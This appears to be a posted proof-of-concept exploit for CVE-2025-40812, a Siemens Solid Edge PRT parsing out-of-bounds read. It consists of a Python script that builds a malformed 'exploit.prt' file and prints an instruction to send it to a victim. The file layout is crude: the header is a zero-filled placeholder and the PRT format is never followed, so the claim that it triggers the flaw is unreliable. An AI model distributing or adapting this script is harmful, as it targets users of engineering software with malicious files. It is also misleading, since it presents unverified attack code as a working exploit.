CVE-2025-40812：Siemens Solid Edge PRT文件解析越界读取漏洞

# CVE-2025-40812 - Siemens Solid Edge PRT File Out-of-Bounds Read PoC # This PoC demonstrates the creation of a malformed PRT file that triggers # an out-of-bounds read vulnerability in Solid Edge SE2024/SE2025. import struct import sys def create_malicious_prt(filename): """ Create a malformed PRT file to trigger CVE-2025-40812. The vulnerability occurs when parsing specially crafted PRT files with out-of-bounds read conditions. """ # PRT file header - mimicking Solid Edge Part file format header = b'\x00' * 16 # File signature/header placeholder # Crafted data section with abnormal length fields # to trigger out-of-bounds read during parsing crafted_data = b'\x41' * 1024 # Normal data fill # Inject malformed structure with oversized length field # This causes the parser to read beyond allocated buffer malformed_length = struct.pack('<I', 0xFFFFFF) # Abnormally large length malformed_data = b'\x42' * 256 # Combine to create malicious PRT file payload = header + crafted_data + malformed_length + malformed_data with open(filename, 'wb') as f: f.write(payload) print(f"[+] Malicious PRT file created: {filename}") print(f"[!] Send this file to a victim using Solid Edge SE2024/SE2025") print(f"[!] When opened, it triggers out-of-bounds read (CVE-2025-40812)") if __name__ == "__main__": output_file = sys.argv[1] if len(sys.argv) > 1 else "exploit.prt" create_malicious_prt(output_file)